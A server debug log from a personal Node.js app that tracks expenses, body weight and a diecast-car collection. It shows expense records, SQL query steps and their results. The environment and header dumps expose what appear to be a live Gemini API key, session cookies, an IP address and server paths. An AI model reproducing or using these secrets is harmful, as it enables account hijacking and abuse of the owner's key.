    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
2025-12-13T13:20:32.694Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-13T13:20:32.695Z server-connect:router Serving serverConnect /api/expense/last-invoice
2025-12-13T13:20:32.695Z server-connect:app Executing action step identify
2025-12-13T13:20:32.695Z server-connect:app options: { provider: 'security' }
2025-12-13T13:20:32.695Z server-connect:output identity: 1
2025-12-13T13:20:32.695Z server-connect:app Executing action step restrict
2025-12-13T13:20:32.695Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T13:20:32.696Z server-connect:app Executing action step identify
2025-12-13T13:20:32.696Z server-connect:app options: { provider: 'security' }
2025-12-13T13:20:32.696Z server-connect:output identity: 1
2025-12-13T13:20:32.696Z server-connect:app Executing action step restrict
2025-12-13T13:20:32.696Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T13:20:32.696Z server-connect:output restrict: undefined
2025-12-13T13:20:32.696Z server-connect:app Executing action step select
2025-12-13T13:20:32.696Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-13T13:20:32.697Z server-connect:output restrict: undefined
2025-12-13T13:20:32.697Z server-connect:app Executing action step single
2025-12-13T13:20:32.697Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [],
    table: { name: 'expense' },
    primary: 'id',
    joins: [],
    groupBy: [],
    query: 'select max(`invoice_number`) as `max_invoice` from `expense`'
  }
}
2025-12-13T13:20:32.698Z server-connect:output list: [
  { name: 'Litres', id: 1 },
  { name: 'KG', id: 2 },
  { name: 'Piece', id: 4 },
  { name: 'Pounds', id: 5 },
  { name: 'Other', id: 11 },
  { name: 'EMI', id: 12 },
  { name: 'Premium', id: 13 },
  { name: 'GM', id: 29 },
  { name: 'Packet', id: 30 },
  { name: 'Tablet', id: 31 },
  { name: 'Strip', id: 32 },
  { name: 'Full Plate', id: 33 },
  { name: 'Half Plate', id: 34 },
  { name: 'Meter', id: 35 },
  { name: 'Bottle', id: 36 },
  { name: 'Glass', id: 37 },
  { name: 'Plate', id: 58 }
]
2025-12-13T13:20:32.699Z server-connect:output last_invoice: { max_invoice: 1244 }
2025-12-13T13:20:35.841Z server-connect:router Serving templateView /weight-trackor
2025-12-13T13:20:35.841Z server-connect:app Executing action step identify
2025-12-13T13:20:35.841Z server-connect:app options: { provider: 'security' }
2025-12-13T13:20:35.841Z server-connect:output identity: 1
2025-12-13T13:20:35.841Z server-connect:app Executing action step restrict
2025-12-13T13:20:35.841Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T13:20:35.842Z server-connect:output restrict: undefined
2025-12-13T13:20:35.842Z server-connect:router Render template weight-trackor
2025-12-13T13:20:35.842Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T13:20:11.898Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-13T13:20:36.052Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-13T13:20:36.052Z server-connect:app Executing action step identify
2025-12-13T13:20:36.052Z server-connect:app options: { provider: 'security' }
2025-12-13T13:20:36.052Z server-connect:output identity: 1
2025-12-13T13:20:36.052Z server-connect:app Executing action step restrict
2025-12-13T13:20:36.052Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T13:20:36.052Z server-connect:output restrict: undefined
2025-12-13T13:20:36.053Z server-connect:app Executing action step custom
2025-12-13T13:20:36.053Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-13T13:20:36.054Z server-connect:output list: [
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-13T13:20:39.163Z server-connect:router Serving templateView /diecast
2025-12-13T13:20:39.163Z server-connect:app Executing action step identify
2025-12-13T13:20:39.163Z server-connect:app options: { provider: 'security' }
2025-12-13T13:20:39.163Z server-connect:output identity: 1
2025-12-13T13:20:39.163Z server-connect:app Executing action step restrict
2025-12-13T13:20:39.163Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T13:20:39.164Z server-connect:output restrict: undefined
2025-12-13T13:20:39.164Z server-connect:router Render template diecast
2025-12-13T13:20:39.164Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T13:20:11.898Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-13T13:20:39.385Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-13T13:20:39.388Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-13T13:20:39.389Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-13T13:20:39.390Z server-connect:router Serving serverConnect /api/diecast/list
2025-12-13T13:20:39.390Z server-connect:app Executing action step identify
2025-12-13T13:20:39.390Z server-connect:app options: { provider: 'security' }
2025-12-13T13:20:39.390Z server-connect:output identity: 1
2025-12-13T13:20:39.390Z server-connect:app Executing action step restrict
2025-12-13T13:20:39.390Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T13:20:39.391Z server-connect:router Serving serverConnect /api/diecast/get-filters
2025-12-13T13:20:39.391Z server-connect:output restrict: undefined
2025-12-13T13:20:39.391Z server-connect:app Executing action step select
2025-12-13T13:20:39.391Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-13T13:20:39.392Z server-connect:app Executing action step identify
2025-12-13T13:20:39.392Z server-connect:app options: { provider: 'security' }
2025-12-13T13:20:39.392Z server-connect:output identity: 1
2025-12-13T13:20:39.392Z server-connect:app Executing action step restrict
2025-12-13T13:20:39.392Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T13:20:39.392Z server-connect:app Executing action step identify
2025-12-13T13:20:39.392Z server-connect:app options: { provider: 'security' }
2025-12-13T13:20:39.392Z server-connect:output identity: 1
2025-12-13T13:20:39.392Z server-connect:app Executing action step restrict
2025-12-13T13:20:39.392Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T13:20:39.392Z server-connect:app Executing action step identify
2025-12-13T13:20:39.393Z server-connect:app options: { provider: 'security' }
2025-12-13T13:20:39.393Z server-connect:output identity: 1
2025-12-13T13:20:39.393Z server-connect:app Executing action step restrict
2025-12-13T13:20:39.393Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T13:20:39.394Z server-connect:app Executing action step identify
2025-12-13T13:20:39.394Z server-connect:app options: { provider: 'security' }
2025-12-13T13:20:39.394Z server-connect:output identity: 1
2025-12-13T13:20:39.394Z server-connect:app Executing action step restrict
2025-12-13T13:20:39.394Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T13:20:39.395Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2025-12-13T13:20:39.395Z server-connect:output restrict: undefined
2025-12-13T13:20:39.396Z server-connect:app Executing action step select
2025-12-13T13:20:39.396Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-13T13:20:39.396Z server-connect:output restrict: undefined
2025-12-13T13:20:39.396Z server-connect:app Executing action step select
2025-12-13T13:20:39.396Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-13T13:20:39.396Z server-connect:output restrict: undefined
2025-12-13T13:20:39.397Z server-connect:app Executing action step paged
2025-12-13T13:20:39.397Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2025-12-13T13:20:39.397Z server-connect:output restrict: undefined
2025-12-13T13:20:39.397Z server-connect:app Executing action step select
2025-12-13T13:20:39.397Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-13T13:20:39.398Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
